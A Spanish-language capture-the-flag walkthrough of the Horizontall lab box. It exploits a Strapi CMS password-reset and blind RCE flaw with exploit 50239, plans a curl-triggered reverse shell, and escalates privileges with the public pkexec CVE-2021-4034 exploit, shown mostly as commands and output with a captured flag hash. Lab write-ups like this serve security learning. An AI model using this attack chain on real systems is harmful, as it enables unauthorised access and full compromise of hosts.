Guardamos el exploit que mas nos gusto en este caso el 50239, cambiamos su nombre y lo ejecutamos.
//
searchsploit -m multiple/webapps/50239.py
❯ python3 strapy.explout.py
[-] Wrong number of arguments provided
[*] Usage: python3 exploit.py
❯ python3 strapy.explout.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQ1ODAyOTUwLCJleHAiOjE3NDgzOTQ5NTB9.DJvjPjeiRDNxOatzY6tWiJTxhjKp-60AWINFYtHGBRk
Comprobamos credenciales e INGRESAMOS EXITOSAMENTE .
Comprobamos si podemos inyectar comandos de forma remota desde la terminal.
//
❯$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
no nos dejo con NC pero nos fijamos que si nos deja ejecutar CURL, asi que intentaremos crear un index html y montar un servidor sencillo en python que nos permita hacer , que al ejectuar el index con curl en la maquina victima se nos envie una reverse shell estando en escucha .
Buscamos la Flag.
//
strapi@horizontall:~/myapi$ cd /home
strapi@horizontall:/home$ ls
developer
strapi@horizontall:/home$ cd developer
strapi@horizontall:/home/developer$ ls
composer-setup.php
myproject
user.txt
strapi@horizontall:/home/developer$ cat user.txt
a7493a7702747ee7f8b4300f17a9a1fa
Conseguimos la primera flag y ahora buscamos escalar privilegios.
Buscamos alternativas para hacer escalada de privilegios y encontramos lo siguiente:
//
trapi@horizontall:/home/developer$ which pkexec
/usr/bin/pkexec
Tiene pkexec y el comando make
lo que nos permitira ejecutar una CVE ya conocida
Ingresamos en los archivos temporales
strapi@horizontall:/home/developer$ cd /tmp/
Clonamos el CVE en nuestra maquina (no la victima)
para explotar la vulnerabilidad
git clone https://github.com/berdav/CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Receiving objects: 100% (92/92), 22.71 KiB | 394.00 KiB/s, done.
Resolving deltas: 100% (44/44), done.
Comrpimimos el exploit para mandarlo a la maquina victima
zip -r comprimido.zip CVE-2021-4034/
una vez comprimido el exploit habilitamos nuevamente el servidor python y desde la maquina victima con wget aceptamos la petición, descomprimimos el CVE hacemos make y ejectumos el exploit.